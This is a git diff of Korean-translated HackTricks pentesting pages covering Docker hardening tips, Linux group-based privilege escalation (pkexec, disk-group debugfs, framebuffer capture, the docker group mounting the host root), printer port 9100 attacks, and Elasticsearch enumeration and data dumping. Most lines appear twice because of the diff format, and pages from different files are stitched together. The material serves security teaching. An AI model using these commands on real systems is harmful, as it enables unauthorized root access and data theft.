**Kata Containers**는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티로, 컨테이너처럼 느껴지고 작동하지만 **하드웨어 가상화** 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다.
**Kata Containers**는 경량 가상 머신을 사용하여 안전한 컨테이너 런타임을 구축하기 위해 노력하는 오픈 소스 커뮤니티입니다. 이들은 컨테이너처럼 느껴지고 작동하지만, **하드웨어 가상화** 기술을 사용하여 더 강력한 작업 부하 격리를 제공합니다.
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### 요약 팁
- **`--privileged` 플래그를 사용하지 않거나** [**Docker 소켓을 컨테이너 내부에 마운트하지 마십시오**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker 소켓은 컨테이너를 생성할 수 있게 하므로, 예를 들어 `--privileged` 플래그로 다른 컨테이너를 실행하여 호스트를 완전히 제어할 수 있는 쉬운 방법입니다.
- **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/)**를 사용하십시오.** 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다.
- **컨테이너 내부에서 root로 실행하지 마십시오.** [**다른 사용자**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **를 사용하고** [**사용자 네임스페이스**](https://docs.docker.com/engine/security/userns-remap/) **를 사용하십시오.** 컨테이너의 root는 사용자 네임스페이스로 재매핑되지 않는 한 호스트의 root와 동일합니다. 이는 주로 Linux 네임스페이스, 기능 및 cgroups에 의해 약간 제한됩니다.
- [**모든 기능을 제거하십시오**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) 및 필요한 기능만 활성화하십시오** (`--cap-add=...`). 많은 작업 부하에는 기능이 필요하지 않으며, 이를 추가하면 잠재적인 공격 범위가 증가합니다.
- [**“no-new-privileges” 보안 옵션을 사용하십시오**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **프로세스가 더 많은 권한을 얻지 못하도록 방지하십시오.** 예를 들어 suid 바이너리를 통해서입니다.
- [**“no-new-privileges” 보안 옵션을 사용하십시오**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **.** 이는 프로세스가 더 많은 권한을 얻지 못하도록 방지합니다. 예를 들어 suid 바이너리를 통해서입니다.
- [**컨테이너에 사용할 수 있는 리소스를 제한하십시오**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** 리소스 제한은 서비스 거부 공격으로부터 머신을 보호할 수 있습니다.
- **seccomp** [**조정하십시오**](https://docs.docker.com/engine/security/seccomp/), **AppArmor** [**(또는 SELinux)**](https://docs.docker.com/engine/security/apparmor/) 프로파일을 조정하여 컨테이너에 필요한 최소한의 작업 및 시스템 호출만 허용하십시오.
- **공식 Docker 이미지를 사용하고** [**서명을 요구하십시오**](https://docs.docker.com/docker-hub/official_images/) **또는 이를 기반으로 직접 빌드하십시오.** 백도어가 있는 이미지를 상속하거나 사용하지 마십시오. 또한 루트 키와 비밀번호를 안전한 장소에 보관하십시오. Docker는 UCP로 키를 관리할 계획이 있습니다.
@ -332,13 +336,13 @@ Kubernetes 환경에서는 비밀이 기본적으로 지원되며, [Helm-Secrets
- **비밀을 현명하게 관리하여 공격자가 접근하기 어렵게 하십시오.**
- Docker 데몬을 **노출하는 경우 HTTPS를 사용하십시오** 클라이언트 및 서버 인증과 함께.
- Dockerfile에서 **ADD 대신 COPY를 선호하십시오.** ADD는 자동으로 압축된 파일을 추출하고 URL에서 파일을 복사할 수 있습니다. COPY는 이러한 기능이 없습니다. 가능한 경우 ADD 사용을 피하여 원격 URL 및 Zip 파일을 통한 공격에 취약하지 않도록 하십시오.
- 각 마이크로 서비스에 대해 **별도의 컨테이너를 가지십시오.**
- **각 마이크로 서비스에 대해 별도의 컨테이너를 가지십시오.**
- **컨테이너 내부에 ssh를 두지 마십시오.** “docker exec”를 사용하여 컨테이너에 ssh할 수 있습니다.
- **더 작은** 컨테이너 **이미지를 가지십시오.**
## Docker 탈출 / 권한 상승
**Docker 컨테이너 내부에 있거나** **docker 그룹의 사용자에 대한 접근 권한이 있는 경우**, **탈출 및 권한 상승을 시도할 수 있습니다**:
당신이 **docker 컨테이너 내부에 있거나** **docker 그룹의 사용자에 접근할 수 있다면**, **탈출하고 권한을 상승시키려고 시도할 수 있습니다**:
{{#ref}}
docker-breakout-privilege-escalation/
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Docker 인증 플러그인 우회
Docker 소켓에 접근하거나 **docker 그룹의 사용자에 대한 접근 권한이 있지만 Docker 인증 플러그인에 의해 행동이 제한되는 경우**, **우회할 수 있는지 확인하십시오**:
Docker 소켓에 접근하거나 **docker 그룹의 사용자에 접근할 수 있지만** Docker 인증 플러그인에 의해 행동이 제한되고 있다면, **우회할 수 있는지 확인하십시오**:
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Sudo/관리 그룹
## Sudo/Admin 그룹
### **PE - 방법 1**
@ -22,11 +22,11 @@ sudo su
```
### PE - Method 2
모든 suid 바이너리를 찾고 바이너리 **Pkexec**가 있는지 확인하십시오:
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하세요:
```bash
find / -perm -4000 2>/dev/null
```
이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속하는 경우, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\
이진 파일 **pkexec가 SUID 이진 파일**이고 **sudo** 또는 **admin** 그룹에 속한다면, `pkexec`를 사용하여 sudo로 이진 파일을 실행할 수 있습니다.\
이는 일반적으로 이러한 그룹이 **polkit 정책** 내에 있기 때문입니다. 이 정책은 기본적으로 어떤 그룹이 `pkexec`를 사용할 수 있는지를 식별합니다. 다음을 사용하여 확인하십시오:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
@ -72,13 +72,13 @@ sudo su
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
그래서 파일을 읽고 **해시를 크랙해 보세요**.
## Staff Group
**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). `/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin``/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다. 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: 사용자가 루트 권한 없이 시스템에 로컬 수정을 추가할 수 있도록 허용합니다 (`/usr/local`). (`/usr/local/bin`의 실행 파일은 모든 사용자의 PATH 변수에 포함되어 있으며, 동일한 이름의 `/bin``/usr/bin`의 실행 파일을 "덮어쓸" 수 있습니다). 모니터링/보안과 더 관련된 "adm" 그룹과 비교하십시오. [\[source\]](https://wiki.debian.org/SystemGroups)
debian 배포판에서 `$PATH` 변수는 `/usr/local/`가 우선적으로 실행된다는 것을 보여줍니다, 권한이 있는 사용자이든 아니든 관계없이.
debian 배포판에서 `$PATH` 변수는 `/usr/local/`가 우선적으로 실행된다는 것을 보여줍니다. 이는 사용자가 권한이 있든 없든 상관없이 적용됩니다.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -86,9 +86,9 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루트 쉽게 얻을 수 있습니다.
`/usr/local`에 있는 일부 프로그램을 탈취할 수 있다면, 루트 권한을 쉽게 얻을 수 있습니다.
`run-parts` 프로그램을 탈취하는 것은 루트 얻는 쉬운 방법입니다. 대부분의 프로그램은 (crontab, ssh 로그인 시) `run-parts`를 실행합니다.
`run-parts` 프로그램을 탈취하는 것은 루트 권한을 얻는 쉬운 방법입니다. 대부분의 프로그램은 (crontab, ssh 로그인 시) `run-parts`를 실행합니다.
```bash
$ cat /etc/crontab | grep run-parts
17 * * * * root cd / && run-parts --report /etc/cron.hourly
@ -156,9 +156,9 @@ USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다.
**tty1**는 사용자 **yossi가 머신의 터미널에 물리적으로 로그인되어 있음을** 의미합니다.
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 **현재 화면의 이미지를 원시 데이터로 가져오고** 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장될 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -167,7 +167,7 @@ cat /sys/class/graphics/fb0/virtual_size
![](<../../../images/image (463).png>)
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 것을 선택합니다):
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 화면을 더 잘 보여주는 것을 선택합니다:
![](<../../../images/image (317).png>)
@ -179,9 +179,9 @@ cat /sys/class/graphics/fb0/virtual_size
```bash
find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
## Docker 그룹
호스트 머신의 **루트 파일 시스템을 인스턴스의 볼륨에 마운트**할 수 있으므로, 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트 권한을 부여합니다.
호스트 머신의 **루트 파일 시스템을 인스턴스의 볼륨에 마운트**할 수 있으므로, 인스턴스가 시작될 때 해당 볼륨으로 즉시 `chroot`를 로드합니다. 이는 사실상 머신에서 루트 권한을 부여합니다.
```bash
docker image #Get images from the docker service
@ -201,9 +201,13 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
docker 소켓에 대한 쓰기 권한이 있는 경우 [**docker 소켓을 악용하여 권한을 상승시키는 방법에 대한 이 게시물을 읽어보세요**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## lxc/lxd 그룹
@ -214,11 +218,11 @@ docker 소켓에 대한 쓰기 권한이 있는 경우 [**docker 소켓을 악
## Adm 그룹
일반적으로 **`adm`** 그룹의 **구성원**은 _/var/log/_에 위치한 **로그** 파일을 **읽을** 수 있는 권한을 가지고 있습니다.\
따라서 이 그룹 내의 사용자를 침해한 경우 **로그를 확인해야** 합니다.
따라서 이 그룹 내의 사용자를 손상시킨 경우 **로그를 확인해야** 합니다.
## Auth 그룹
OpenBSD 내에서 **auth** 그룹은 사용되는 경우 _**/etc/skey**__**/var/db/yubikey**_ 폴더에 쓸 수 있는 권한이 있습니다.\
이 권한은 다음 익스플로잇을 사용하여 **루트로 권한을 상승시키는** 데 악용될 수 있습니다: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
OpenBSD 내에서 **auth** 그룹은 일반적으로 _**/etc/skey**__**/var/db/yubikey**_ 폴더에 쓸 수 있습니다.\
이 권한은 다음 익스플로잇을 사용하여 **권한을 상승시켜** 루트로 만들 수 있습니다: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Groups
## **PE - Method 1**
@ -21,27 +20,27 @@ sudo su
```
## PE - Method 2
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하십시오:
모든 suid 바이너리를 찾아보고 **Pkexec** 바이너리가 있는지 확인하세요:
```bash
find / -perm -4000 2>/dev/null
```
이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속하는 경우, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하십시오:
이진 파일 pkexec가 SUID 이진 파일이고 sudo 또는 admin에 속한다면, pkexec를 사용하여 sudo로 이진 파일을 실행할 수 있습니다. 다음 내용을 확인하세요:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, **기본적으로** 일부 리눅스에서는 **sudo 또는 admin** 그룹이 **나타날 수 있습니다**.
여기에서 어떤 그룹이 **pkexec**를 실행할 수 있는지 확인할 수 있으며, 일부 리눅스에서는 기본적으로 **sudo 또는 admin** 그룹이 나타날 수 있습니다.
**루트가 되려면 다음을 실행할 수 있습니다**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
**pkexec**를 실행하려고 시도했지만 **오류**가 발생하면:
**pkexec**를 실행하려고 시도했는데 **오류**가 발생하면:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션**이 필요합니다:
**권한이 없어서가 아니라 GUI 없이 연결되어 있지 않기 때문입니다**. 이 문제에 대한 해결 방법은 여기에서 확인할 수 있습니다: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2개의 서로 다른 ssh 세션이 필요합니다**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -74,7 +73,7 @@ sudo su
# 디스크 그룹
이 권한은 거의 **루트 접근과 동등**하며, 머신 내부의 모든 데이터에 접근할 수 있습니다.
이 권한은 기계 내부의 모든 데이터에 접근할 수 있으므로 거의 **루트 접근과 동등합니다**.
파일: `/dev/sd[a-z][1-9]`
```text
@ -93,7 +92,7 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
# Video Group
`w` 명령어를 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다:
`w` 명령 사용하면 **시스템에 로그인한 사람**을 찾을 수 있으며 다음과 같은 출력을 보여줍니다:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**는 사용자 **yossi가 물리적으로** 머신의 터미널에 로그인했음을 의미합니다.
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
**video group**은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 그렇게 하려면 **현재 화면의 이미지를** 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아야 합니다. 화면 데이터는 `/dev/fb0`에 저장 수 있으며, 이 화면의 해상도는 `/sys/class/graphics/fb0/virtual_size`에서 찾을 수 있습니다.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -110,7 +109,7 @@ cat /sys/class/graphics/fb0/virtual_size
![](../../images/image%20%28208%29.png)
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 \(화면을 더 잘 보여주는 유형을 선택\):
그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 유형을 선택하십시오):
![](../../images/image%20%28295%29.png)
@ -122,16 +121,20 @@ cat /sys/class/graphics/fb0/virtual_size
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker 그룹
# Docker Group
호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로, 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다.
호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트할 수 있으므로 인스턴스가 시작될 때 즉시 해당 볼륨에 `chroot`를 로드합니다. 이는 사실상 머신에서 루트를 제공하는 것입니다.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd 그룹
# lxc/lxd Group
[lxc - 권한 상승](lxd-privilege-escalation.md)
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -8,6 +8,8 @@
자세한 정보는 다음을 확인하세요:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,7 @@
# 기본 정보
[여기](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing은 네트워크 프린터의 포트 9100/tcp에 연결하는 과정을 정의합니다. 이는 CUPS와 Windows 인쇄 아키텍처가 네트워크 프린터와 통신하는 데 사용하는 기본 방법으로, _프린터에 사용되는 가장 간단하고 빠르며 일반적으로 가장 신뢰할 수 있는 네트워크 프로토콜_로 간주됩니다. Raw port 9100 printing은 JetDirect, AppSocket 또는 PDL-datastream이라고도 불리며 실제로 **프린팅 프로토콜이 아닙니다**. 대신 **전송된 모든 데이터는 프린팅 장치에 의해 직접 처리됩니다**, 마치 TCP를 통한 병렬 연결처럼. LPD, IPP 및 SMB와 대조적으로, 이는 클라이언트에게 상태 및 오류 메시지를 포함한 직접적인 피드백을 보낼 수 있습니다. 이러한 **양방향 채널**은 **PJL**, **PostScript** 또는 **PCL** 명령의 **결과**에 대한 직접 **접근**을 제공합니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 raw port 9100 printing은 PRET 및 PFT와 함께 보안 분석을 위한 채널로 사용됩니다.
[여기](http://hacking-printers.net/wiki/index.php/Port_9100_printing)에서: Raw printing은 네트워크 프린터의 포트 9100/tcp에 연결하는 과정을 정의합니다. 이는 CUPS와 Windows 인쇄 아키텍처가 네트워크 프린터와 통신하는 데 사용하는 기본 방법으로, _프린터에 사용되는 가장 간단하고 빠르며 일반적으로 가장 신뢰할 수 있는 네트워크 프로토콜_로 간주됩니다. Raw port 9100 printing은 JetDirect, AppSocket 또는 PDL-datastream이라고도 불리며 실제로 **프린팅 프로토콜이 아닙니다**. 대신 **전송된 모든 데이터는 인쇄 장치에 의해 직접 처리됩니다**, 마치 TCP를 통한 병렬 연결처럼. LPD, IPP 및 SMB와 대조적으로, 이는 클라이언트에게 상태 및 오류 메시지를 포함한 직접 피드백을 보낼 수 있습니다. 이러한 **양방향 채널**은 **PJL**, **PostScript** 또는 **PCL** 명령의 **결과**에 대한 직접 **접근**을 제공합니다. 따라서 거의 모든 네트워크 프린터에서 지원되는 raw port 9100 printing은 PRET 및 PFT와 함께 보안 분석을 위한 채널로 사용됩니다.
프린터 해킹에 대해 더 알고 싶다면 [**이 페이지를 읽어보세요**](http://hacking-printers.net/wiki/index.php/Main_Page).
@ -48,9 +48,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file
이것은 프린터를 악용하는 데 사용할 도구입니다:
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **쇼단**
# **Shodan**
- `pjl port:9100`

View File

@ -4,7 +4,7 @@
## 기본 정보
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하여 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana를 포함하고 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다.
Elasticsearch는 **분산형**, **오픈 소스** 검색 및 분석 엔진으로 **모든 유형의 데이터**를 처리합니다. **속도**, **확장성**, **간단한 REST API**로 잘 알려져 있습니다. Apache Lucene을 기반으로 하여 2010년에 Elasticsearch N.V. (현재 Elastic로 알려짐)에서 처음 출시되었습니다. Elasticsearch는 데이터 수집, 보강, 저장, 분석 및 시각화를 위한 오픈 소스 도구 모음인 Elastic Stack의 핵심 구성 요소입니다. 이 스택은 일반적으로 ELK Stack이라고 하며, Logstash와 Kibana도 포함되어 있으며, 현재 Beats라는 경량 데이터 전송 에이전트를 가지고 있습니다.
### Elasticsearch 인덱스란 무엇인가?
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
```bash
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
```
인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 의미입니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-hacking/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 BF HTTP 기본 인증을 사용할 수 있습니다).\
인증이 구성되어 있으며 **유효한 자격 증명**이 필요하다는 의미입니다. 그런 다음 [**브루트포스를 시도할 수 있습니다**](../generic-hacking/brute-force.md#elasticsearch) (HTTP 기본 인증을 사용하므로 HTTP 기본 인증을 BF할 수 있는 모든 것이 사용될 수 있습니다).\
여기 **기본 사용자 이름 목록**이 있습니다: _**elastic** (슈퍼유저), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ 이전 버전의 Elasticsearch는 이 사용자에 대해 기본 비밀번호 **changeme**를 가지고 있습니다.
```
curl -X GET http://user:password@IP:9200/
@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
| /\_cat/nodeattrs | | |
| /\_cat/nodes | | |
이 엔드포인트는 [**문서에서 가져온 것입니다**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) 여기에서 **더 많은 정보를** 찾을 수 있습니다.\
이 엔드포인트는 [**문서에서 가져온 것입니다**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) 여기에서 **더 많은** 정보를 **찾을 수 있습니다**.\
또한, `/_cat`에 접근하면 응답에는 인스턴스에서 지원하는 `/_cat/*` 엔드포인트가 포함됩니다.
`/_security/user`에서 (인증이 활성화된 경우) 어떤 사용자가 `superuser` 역할을 가지고 있는지 확인할 수 있습니다.
@ -112,14 +112,14 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
_은행 인덱스 내 각 문서(항목)의 내용을 비교하고 이전 섹션에서 본 이 인덱스의 필드를 확인해 보세요._
이 시점에서 **"hits" 안에 "total"이라는 필드가 있어 이 인덱스 내에 **1000개의 문서가 발견되었지만** 10개만 검색되었다는 것을 알 수 있습니다. 이는 **기본적으로 10개의 문서에 제한이 있기 때문입니다.**\
하지만 이제 이 인덱스에 **1000개의 문서가 포함되어 있다는 것을 알았으므로**, **덤프할 문서 수를 `size` 매개변수에 지정하여 모든 문서를 덤프할 수 있습니다**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_참고: 더 큰 숫자를 지정하면 모든 항목이 덤프됩니다. 예를 들어 `size=9999`를 지정할 수 있으며, 더 많은 항목이 있을 경우 이상할 것입니다(하지만 확인해야 합니다)._
이 시점에서 **"hits" 안에 "total"이라는 필드가 있어 이 인덱스 내에 1000개의 문서가 발견되었지만 10개만 검색되었다는 것을 알 수 있습니다.** 이는 **기본적으로 10개의 문서에 제한이 있기 때문입니다.**\
